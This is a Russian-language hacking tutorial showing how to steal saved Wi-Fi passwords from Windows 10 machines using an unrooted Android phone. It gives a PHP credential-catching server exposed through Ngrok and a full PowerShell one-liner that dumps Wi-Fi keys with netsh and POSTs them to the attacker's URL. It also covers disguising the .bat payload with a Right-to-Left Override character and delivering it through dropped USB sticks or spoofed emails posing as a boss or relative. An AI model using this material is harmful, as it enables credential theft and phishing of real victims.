Автор: tokyoneon
Взломать Wi-Fi роутер намного проще, чем вы думаете, даже при помощи телефона на базе Android без прав суперпользователя. Метод, описываемый в этой статье, не требует брутфорса, ОС Windows для конвертации PowerShell-скриптов в исполняемые EXE-файлы, надежного VPS для перехвата взломанных паролей или Metasploit для разного рода трюков, используемых после эксплуатации уязвимости.
Суть метода
Мы будем использовать бесплатное приложение UserLAnd, позволяющее установить Kali или Debian в ОС Android без необходимости рутинга (получения прав суперпользователя).
Однако утилиты, наиболее часто используемые для взлома Wi-Fi (например, Aircrack-ng), не будут работать с UserLAnd. Для запуска Aircrack-ng нужно переключить беспроводной Android-интерфейс в режим мониторинга, что требует права суперпользователя, но чего нет в UserLAnd. Даже если бы можно было сконфигурировать перехват рукопожатия, использующего шифрование WPA2, брутфорс пароля на Android-устройстве занял бы слишком много времени из-за недостаточной производительности процессора.
Однако есть и другие способы скомпрометировать Wi-Fi пароль. Метод, описываемый в этой статье, требует небольшого анализа и социальной инженерии. Дистрибутив Kali, установленный через приложение UserLAnd, используется для создания полезной нагрузки на базе PowerShell с целью копирования сохраненных Wi-Fi пароли из системы с Windows 10. Расширение файла с полезной нагрузкой будет замаскировано при помощи Unicode для сокрытия истинного типа файла.
Для перехвата Wi-Fi паролей, отсылаемых с целевого компьютера, в Kali (на Android) создается локальный PHP-сервер. Обход переадресации портов и фаерволов осуществляется при помощи сервиса Ngrok, позволяющего сделать локальный PHP-сервер доступным через интернет. На этот сервер целевая система будет отправлять пароли для Wi-Fi.
Описанного выше более чем достаточно, но самое сложное – заставить жертву кликнуть на вредоносную полезную нагрузку. Подробнее эту тему рассмотрим позже.
Приступаем к работе с UserLAnd
Прежде, чем продолжить, желательно ознакомиться с руководством о том, как превратить Android-телефон в устройство, пригодное для хакинга, без прав суперпользователя. В той заметке даются основы UserLAnd и упоминаются другие аспекты, необходимые для успешной реализации метода, описываемого в этой статье. Нужно установить и настроить UserLAnd, создать новую файловую систему и подключиться к ОС через SSH при помощи ConnectBot (или JuiceSSH или встроенного SSH-клиента).
Шаг 1. Установка программного обеспечения
Необходимо выполнить обновление системы и установить основные программы, как указано в упомянутом мной руководстве, посвященном UserLAnd. Затем можно приступать к установке специфических инструментов, которые понадобятся для реализации нашего метода, а конкретно — Unzip и PHP.
Для установки Unzip используйте команду sudo apt-get install unzip.
apt-get install unzipReading package lists… DoneBuilding dependency treeReading state information… DoneSuggested packages: zipThe following NEW packages will be installed: unzip0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.Need to get 156 kB of archives.After this operation, 518 kB of additional disk space will be used.Get:1 http://kali.download/kali kali-rolling/main arm64 unzip arm64 6.0-21 [156 kB]Fetched 156 kB in 6s (24.5 kB/s)debconf: delaying package configuration, since apt-utils is not installedE: Setting in Start via TCSAFLUSH for stdin failed! — tcsetattr (13: Permission denied)Selecting previously unselected package unzip.(Reading database … 13159 files and directories currently installed.)Preparing to unpack …/unzip_6.0-21_arm64.deb …Unpacking unzip (6.0-21) …Setting up unzip (6.0-21) …
Затем введите команду apt-mark hold apache*, чтобы отказаться от некоторых пакетов, связанных с веб-сервером Apache, которые автоматически загружаются во время установки PHP. В этом случае мы не будем засорять систему бесполезными бинарными файлами и службами и, таким образом, немного ускорим установку.
apt-mark hold apache*apache2 set on hold.apache-users set on hold.apache2-bin set on hold.apache2-data set on hold.apache2-utils set on hold.apache2-doc set on hold.apache2-suexec-pristine set on hold.apache2-suexec-custom set on hold.apache2-dbg set on hold.apache2-dev set on hold.apache2-ssl-dev set on hold.apachedex set on hold.apacheds set on hold.apachetop set on hold.
После того как мы отказались от ненужных пакетов, переходим к установке PHP и вводим команду apt—get install php.
apt-get install phpReading package lists… DoneBuilding dependency treeReading state information… DoneThe following additional packages will be installed: bzip2 file libapparmor1 libargon2-1 libicu63 libmagic-mgc libmagic1 libsodium23 libxml2 mime-support php-common php7.3 php7.3-cli php7.3-common php7.3-fpm php7.3-json php7.3-opcache php7.3-readline psmisc xz-utilsSuggested packages: bzip2-doc php-pearThe following NEW packages will be installed: bzip2 file libapparmor1 libargon2-1 libicu63 libmagic-mgc libmagic1 libsodium23 libxml2 mime-support php php-common php7.3 php7.3-cli php7.3-common php7.3-fpm php7.3-json php7.3-opcache php7.3-readline psmisc xz-utils0 upgraded, 21 newly installed, 0 to remove and 0 not upgraded.Need to get 13.6 MB of archives.After this operation, 58.7 MB of additional disk space will be used.Do you want to continue? [Y/n]
В конце необходимо перезагрузить Android-устройство. В этом случае мы уже точно будем знать, что все пакеты и обновления для ядра будут работать в системе с Kali, установленной через UserLAnd.
Шаг 2. Настройка PHP-сервера
После перезагрузки устройства запустите приложение UserLAnd и подключитесь к системе с Kali через SSH.
Теперь нам понадобится приложение Screen, позволяющее управлять несколькими терминальными сессиями внутри одной консоли. В нашем случае речь идет об одном и том же Android-устройстве. Приложение Screen умеет «отсоединять» или закрывать окно терминала без потери информации, с которой вы работали во время сессии.
Для запуска приложения введите следующую команду screen.
screen
Затем открываем шелл с правами суперпользователя при помощи команды su.
su
Создаем директорию с именем «phpServer/» при помощи команды mkdir.
mkdir phpServer/
Переходим в созданную директорию, используя команду cd:
cd phpServer/
Создаем файл «index.php» в редакторе nano.
nano index.php
Вставляем в созданный файл следующий PHP-скрипт, сохраняем и выходим из nano. Нажмите Ctrl-x и Enter.
<html> <title>PHP Server</title> <body> <h1>It works!</h1> <?php $file = date(«dHism») . «.credz»; file_put_contents($file, file_get_contents(«php://input»)); ?> </body></html>
Этот PHP-скрипт позволяет перехватывать данные и не требует модификации. Когда целевая система на базе Windows 10 отсылает учетные записи для Wi-Fi, этот PHP-сервер сохранит пароли в файле, где в имени будет указана дата, а в качестве расширения – «.credz».
Запускаем PHP-сервер при помощи команды php —S 0.0.0.0:80. Ключ –S отвечает за запуск веб-сервера, встроенного в PHP, а 0.0.0.0 делает доступным сервер на каждом интерфейсе. Номер порта, на котором висит сервер – 80. Этот порт используется по умолчанию всеми веб-серверами и браузерами.
php -S 0.0.0.0:80PHP 7.3.0-2 Development Server startedListening on http://0.0.0.0:80Document root is /home/user/phpServerPress Ctrl-C to quit.
Для выхода (или отсоединения) сессии, запущенной в приложении Screen без остановки PHP-сервера, нажмите Ctrl-a, а затем d.
Шаг 3. Проверка работоспособности PHP-сервера
Есть два способа проверить, что PHP-сервер продолжает работать в фоновом режиме. Например, можно использовать curl для отправки на сервер некоторых данных, эмулирующих Wi-Fi пароль.
curl —data «password: qwerty12345» http://127.0.0.1:80
Затем при помощи команды ls посмотрите, какие файлы появились в директории phpServer/.
ls -l phpServer/-rw-r—r—. 1 root root 217 Jan 9 00:10 index.php-rw-r—r—. 1 root root 0 Jan 9 00:15 0900151501.credz
Смотрим содержимое файлов с расширением .credz при помощи команды cat.
cat phpServer/*.credzpassword: qwerty12345
Второй способ проверки работоспособности сервера – команда netstat и браузера на Android-устройстве.
netstat -luptn | grep -i phptcp 0 0 0.0.0.0:2080 0.0.0.0:* LISTEN 14128/php
Обратите внимание, что PHP висит на 2080, а не на 80 порту, как было указано в одной из предыдущих команд. По каким-то причинами при открытии портов в операционных системах, работающих через приложение UserLAnd, в начале добавляется 20. Причины подобного явления до конца не ясны, но для нас сей факт не очень заботит, поскольку сервер Ngrok будет работать нормально.
Открываем браузер в Android и после ввода в адреса 127.0.0.1:2080 должно появиться сообщение «It works!».
Рисунок 1: Сообщение, свидетельствующее о работоспособности PHP-сервера
Если после запуска netstat никаких выходных данных не появилось, скорее всего, PHP-сервер был запущен некорректно или сессия отсоединилась. Возвратитесь к шагу 3 и попробуйте еще раз.
Шаг 5. Создание учетной записи в Ngrok
Ngrok – очень удобный сервис для веб-разработчиков, желающих продемонстрировать свой сайт и протестировать приложения без необходимости заморачиваться с фаерволами или администрированием. Ngrok позволяет сгенерировать доменное имя, связанное с внутренним сервером. Таким образом, разработчики могут быстро протестировать веб-сайты, сделав сервер доступным публично через интернет на некоторое время.
Однако у Ngrok есть один серьезный недостаток. У бесплатных учетных записей есть ограничения, которые могут помешать реализации описываемого метода. После запуска сервера Ngrok генерируется случайный URL, а в бесплатных аккаунтах нет возможности повторного использования или настройки URL’ов. Нужно помнить, что сгенерированный URL должен быть прописан в полезной нагрузке, и, если сервер Ngrok остановится, повторно использовать созданный URL не получится.
Как только URL сгенерирован и прописан в полезной нагрузке, сервер Ngrok не должен быть остановлен ни при каких обстоятельствах. Иначе пароли будут присылаться на несуществующий URL, который нельзя использовать снова. В общем, не останавливайте сервер Ngrok до тех пор, пока все пароли не будут собраны.
Вначале зайдите на страницу регистрации и создайте учетную запись. Вам будет выдан аутентификационный токен (authtoken), который понадобится нам далее.
Рисунок 2: Регистрация в сервисе Ngrok и получение аутентификационного токена
Шаг 5. Загрузка и установка Ngrok
Подключаемся к системе Kali через SSH и создаем новую сессию в приложении Screen.
screen
Инициируем шелл с правами суперпользователя.
su
Затем при помощи wget загружаем архив с Ngrok. Последнюю версию можно посмотреть на странице загрузки (на момент написания статьи последняя версия — 2.2.8).
wget ‘https://bin.equinox.io/a/nmkK3DkqZEB/ngrok-2.2.8-linux-arm64.zip’—2019-01-06 04:39:30— https://bin.equinox.io/a/nmkK3DkqZEB/ngrok-2.2.8-linux-arm64.zipResolving bin.equinox.io (bin.equinox.io)… 34.226.180.131Connecting to bin.equinox.io (bin.equinox.io)|34.226.180.131|:443… connected.HTTP request sent, awaiting response… 200 OKLength: 5063444 (4.8M) [application/octet-stream]Saving to: ‘ngrok-2.2.8-linux-arm64.zip’ ngrok-2.2.8-linux-arm64.zip 100%[==============>] 4.83M 293KB/s in 16s 2019-01-06 04:39:52 (306 KB/s) — ‘ngrok-2.2.8-linux-arm64.zip’ saved [5063444/5063444]
Далее распаковываем архив.
unzip ngrok-2.2.8-linux-arm64.zipArchive: ngrok-2.2.8-linux-arm64.zip inflating: ngrok
Ищем бинарный файл ngrok.
ls -ltotal 20328-rwxr-xr-x. 1 root root 15747855 Jul 15 2017 ngrok-rw-r—r—. 1 root root 5063444 Jan 6 04:39 ngrok-2.2.8-linux-arm64.zip
Во время настройки Ngrok указываем выданный ранее аутентификационный токен, что позволит получить доступ ко всем функциям и связать локальный PHP-сервер с учетной записью. Выполняем команду ngrok с аргументом authtoken.
./ngrok authtoken YourNgrokAuthTokenHereAuthtoken saved to configuration file: /root/.ngrok2/ngrok.yml
Подробнее о доступных аргументах и о том, как работает Ngrok написано в официальной документации.
Шаг 6. Запуск туннеля
Запускаем команду ngrok, чтобы PHP-сервер стал публично доступным.
./ngrok http 80
Здесь я столкнулся с раздражающей ошибкой, приводящей к сбою в Ngrok и пустому экрану в Android. До конца не понятно, где находится проблема: в бинарном файле Ngrok, в приложении Screen / ConnectBot / UserLAnd или где-то еще. Если вы используете встроенный SSH-клиент или JuiceSSH вместо ConnectBot, и ошибка не возникает, значит, проблема связана с SSH.
Если экран замирает во время запуска вышеуказанной команды, нажмите Ctrl-c для отмены, а затем Ctrl-d для завершения сессии в приложении Screen. Далее нужно повторно создать сессию, открыть шелл с правами суперпользователя и запустить команду, указанную ранее. Пробуйте до тех пор, пока все не заработает. Если вы знаете причины замирания или методом решения этой проблемы, поделитесь своими знаниями в комментариях.
После успешного запуска Ngrok обратите внимание на поле «Forwarding». URL, указанный в этом поле, нужно добавить в полезную нагрузку. Затем отсоедините сессию в Screen без остановки сервера Ngrok, нажав Ctrl-a, а затем d.
Session Status onlineAccount XXXXX XXXXXXXX (Plain: Free)Version 2.2.8Web Interface United States (us)Forwarding http://XXXXXX.ngrok.io -> localhost:80Forwarding https://XXXXXX.ngrok.io -> localhost:80 Connections ttl opn rt1 rt5 p50 p90 0 0 0.00 0.00 0.00 0.00
Шаг 7. Проверка работоспособности туннеля
После отсоединения от сессии нужно проверить работоспособность Ngrok и PHP посредством отсылки данных при помощи curl. Не забудьте заменить слово «SUBDOMAIN» на адрес, указанный в поле «Forwarding».
curl —data «ngrok is working!» ‘http://SUBDOMAIN.ngrok.io'<html> <title>PHP Server</title> <body> <h1>It works!</h1> </body></html>
В случае успешной отправки данных Curl должен вернуть несколько HTML-строк. Используя команду cat, смотрим содержимое созданного файла с расширением .credz.
cat phpServer/*.credzngrok is working!
Шаг 8. Создание полезной нагрузки на PowerShell
После выполнения предыдущих шагов у нас появился локальный PHP‑сервер, запущенный в фоновом режиме, для перехвата паролей, отправляемых из целевой системы. Кроме того, у нас есть подключение к сервису Ngrok, чтобы PHP‑сервер был доступен из интернета, и не было необходимости раскрывать IP-адрес нашего Android-устройства.
Теперь для целевой системы нам нужно создать полезную нагрузку на PowerShell, выглядящую примерно так:
Add-Type -AssemblyName System.Web; $ngrokServer = «http://SUBDOMAIN.ngrok.io/index.php»; foreach ($path in [System.IO.Directory]::EnumerateFiles(«C:ProgramDataMicrosoftWlansvcProfiles»,»*.xml»,»AllDirectories»)) { try { $oXml = New-Object System.XML.XMLDocument; $oXml.Load($path); $ssid = $oXml.WLANProfile.SSIDConfig.SSID.Name; $netinfo = netsh.exe wlan show profiles name=»$ssid» key=clear; $pass = (($netinfo | Select-String -Pattern «Key Content») -split «:»)[1].Trim(); $sendData += «SSID: » + ($ssid) + «`n» + «PASSWORD: » + ($pass) + «`n`n»; } catch {} } Invoke-WebRequest -Uri $ngrokServer -Method ‘POST’ -Body $sendData;
Скрипт, показанный выше, в цикле проходит по всем сетевым именам (SSID), находящимся на компьютере (найденным в XML-файлах в папке «C:ProgramDataMicrosoftWlansvcProfiles»), запускает команду netsh для каждого SSID и вытаскивает пароли для Wi-Fi в чистом виде из поля «Key Content».
Затем результаты работы команды netsh парсятся, обнаруженные SSID’ы и пароли соединяются в переменной «$sendData» и отправляются на сервер Ngrok.
Рассмотрим на примере, как работает netsh. Если у вас Windows 10 в терминале введите команду ниже для просмотра паролей:
netsh wlan show profiles name=»SSID HERE» key=clear
После запуска команды netsh выдаст информацию, касающуюся Wi-Fi сети, которая в основном является бесполезной. Прокручиваем ниже до строки «Key Content», где указан пароль в открытом виде.
Рисунок 3: Пример работы команды netsh
Ниже показана та же самая полезная нагрузка в однострочном формате:
powershell -ExecutionPolicy Bypass -Command «Add-Type -AssemblyName System.Web; $ngrokServer = «http://SUBDOMAIN.ngrok.io/index.php»; foreach ($path in [System.IO.Directory]::EnumerateFiles(«C:ProgramDataMicrosoftWlansvcProfiles»,»*.xml»,»AllDirectories»)) { try { $oXml = New-Object System.XML.XMLDocument; $oXml.Load($path); $ssid = $oXml.WLANProfile.SSIDConfig.SSID.Name; $netinfo = netsh.exe wlan show profiles name=»$ssid» key=clear; $pass = (($netinfo | Select-String -Pattern «Key Content») -split «:»)[1].Trim(); $sendData += «SSID: » + ($ssid) + «`n» + «PASSWORD: » + ($pass) + «`n`n»; } catch {}}; Invoke-WebRequest -Uri $ngrokServer -Method «POST» -Body $sendData;»
Сохраняем полезную нагрузку в этом формате в директории /sdcard/Download/ в файле с расширением .bat. Из этой папки файл будет доступен в операционной системе Android для последующих манипуляций.
nano /sdcard/Download/payload.bat
Перед сохранением файла не забудьте заменить «SUBDOMAIN» на содержимое поля Forwarding. В моем случае URL с префиксом https не работал в связке с PHP-сервером, висящем на порту 80. Используйте URL с префиксом http.
Шаг 9. Маскировка расширения BAT
Подделка расширения файла детально рассмотрена в статье «Hack WPA2 Wi-Fi Passwords Using USB Dead Drops».
Я использую имя «payloadfdp.bat» для лучшего понимания сути. Однако в боевых условиях имя файла должно выглядеть более реалистично, например, «passwordtxt.bat» или «secretfdp.bat». Когда дело доходит до социальной инженерии, нужно быть креативным.
В браузере в ОС Anroid откройте таблицу Unicode и скопируйте управляющий символ «Right-to-Left Override» (RLO).
Рисунок 4: Копирование управляющего символа
Затем в Android откройте приложение Download и переименуйте файл payload.bat, вставив скопированный ранее управляющий символ для изменения порядка отображения символов в имени.
Рисунок 5: Переименования имени файла с полезной нагрузкой
Не забывайте, что на самом деле символы будут только отображаться в обратном порядке. Windows 10 будет распознавать файл с расширением .bat и запускать полезную нагрузку.
Шаг 10. Доставка полезной нагрузки в целевую систему
После того как все подготовлено, можно приступить к передаче полезной нагрузки в целевую систему. Ниже рассмотрено два метода, но список далеко не полный. Чем больше известно про жертву, тем более разнообразные тактики могут применяться.
Вариант 1. Через оставленную USB флешку
Этот метод надежный, но может оказаться для вас неподходящим. Для подключения флешки к Android-устройству понадобится OTG-адаптер. Затем полезная нагрузка копируется на носитель, который затем помещается в общественном месте.
Вместо OTG-адаптера можно использовать специальные флешки с разъемами USB-C и USB 3.1, имеющие разъемы для подключения и к компьютеру и к Android-устройству. Если у вас старое устройство, можно воспользоваться флешкой с разъемами Micro-USB и USB 3.0.
С другой стороны, если у вас нет OTG-адаптера и/или вы не готовы расстаться с флешкой, этот метод вам не подойдет. Конечно, если у вас есть свободные денежные средства, то вы можете приобрести устройства, упомянутые выше.
Более подробно этот способ описан в статье «Hack WPA2 Wi-Fi Passwords Using USB Dead Drops» особенно касаемо аспектов социальной инженерии.
Вариант 2. Прикрепление к электронному письму
При реализации этого сценария может понадобится подделка электронного адреса. Если о жертве известна какая-либо информация, можно создать новый аккаунт в Gmail, используя имя и фотографию друзей, родственников и коллег по работе. Затем можно отправить письмо от имени начальника или родственника с просьбой открыть прикрепленный PDF, представляющий собой созданную ранее полезную нагрузку (см. шаг 7).
При отправке полезной нагрузки в виде .bat файла нужно вначале выполнить упаковку в zip-архив. Иначе в браузере имя файла с управляющим символом будет выглядеть некрасиво, что может вызвать подозрения.
Рисунок 6: Имя .bat файла с управляющим символом
Для упаковки файла с Unicode-символом откройте приложение Download, выберите payload.bat и нажмите на кнопку «Compress». По умолчанию в имени архива также будет указан управляющий символ (RLO), что нас не устраивает. Найдите самый последний созданный файл с расширением .pdf. Обратите внимание на строку «piz» в имени (zip в обратном порядке), которая появилась из-за управляющего символа. Поменяйте имя файла на «compressed.zip».
Рисунок 7: Переименование созданного архива
После распаковки архива появится полезная нагрузка payload.bat с управляющим символом (RLO) и поддельным расширением.
Рисунок 8: Распаковка архива
Шаг 11. Доступ к перехваченным учетным записям
Когда жертва кликнет на полезную нагрузку, Windows 10 отошлет все сохраненные пароли на сервер Ngrok, который в свою очередь перенаправит данные на локальный PHP-сервер вашего устройства.
Все пароли будут храниться в файле (или файлах) с расширением .credz в директории phpServer/.
cat ~/phpServer/*.credzSSID: NETGEAR77PASSWORD: smoothebreeze161 SSID: DeathStarPASSWORD: UseTheForceDude! SSID: Get your own wifiPASSWORD: 6(CHo-48Qm6%ae2-7.V4
Шаг 12. Повышение эффективности атаки
Есть множество способов улучшить эффективность подобных удаленных атак. Ниже рассмотрено несколько аспектов, влияющих на успешность реализации.
Всплывающее окно
Когда жертва кликнет на .bat файл, появится всплывающее окно терминала, которое нельзя скрыть в случае использования .bat файла. Это окно будет оставаться на экране в течение нескольких секунд в зависимости от количества паролей, сохраненных на компьютере. Чем больше паролей, тем дольше будет висеть окно.
Сей факт – явный признак, что мы имеем дело с вредоносным файлом. С другой стороны, как только .bat файл выполнится, у жертвы будет мало времени, чтобы остановить процесс, пока все пароли не будут отосланы на ваш сервер. Если скрытность не является жизненно необходимой, полезная нагрузка отработает так, как нужно.
Недостаточная обфускация
Полезная нагрузка отправляется в открытом виде. Для сокрытия кода не используется ни кодирование base64, ни шифрование. Даже не очень технически подкованный пользователь сможет догадаться, что означает URL к серверу Ngrok, команда «Invoke-WebRequest» и строка «PASSWORD». Поскольку сразу же возникнет подозрение о странности происходящего, подобные атаки очень быстро обнаруживаются.
Иконка полезной нагрузки
У файлов с расширением .bat, используемых в качестве средства доставки полезной нагрузки, есть свои достоинства и недостатки. С одной стороны, легко выполнить скрипты, написанные на PowerShell, и обойти антивирус, однако в отличие от EXE- и SCR-файлов, у файлов с расширением .bat нельзя поменять иконку. Соответственно, файл не будет полностью выглядеть как текстовый или pdf, что опять же будет наводить на подозрения и может привести к удалению файла до запуска.
Слабая социальная инженерия
Используемая полезная нагрузка очень проста. Мы перебираем сохраненные пароли для Wi-Fi, отправляем на сервер и ничего более не делаем. В боевых условиях должен быть код для открытия текстового или pdf файла, чтобы еще лучше убедить жертву в достоверности происходящего. Соответственно, нужно продумать более изощренную социальную инженерию для предотвращения быстрого раскрытия наших вредоносных замыслов во время выполнения полезной нагрузки в целевой системе.
Заключение
Описанный метод далеко не идеален. Следует проделать дополнительную работу для маскировки полезной нагрузки под обычный файл. Также следует продумать методы доставки на основе предварительной информации, собранной о жертве. С другой стороны, описанный метод демонстрирует, насколько просто можно скомпрометировать систему Windows 10 и получить нужную информацию.
Все упомянутые приложения и реализованные шаги выполнялись исключительно на одном телефоне на базе Android с установленным линуксовым дистрибутивом. Помимо телефона использовались два веб-сервера и полезная нагрузка, написанная на PowerShell.
Другие мои проекты доступны на GitHub. По любым вопросам можете связаться со мной через Твиттер @tokyoneon_.
Источник: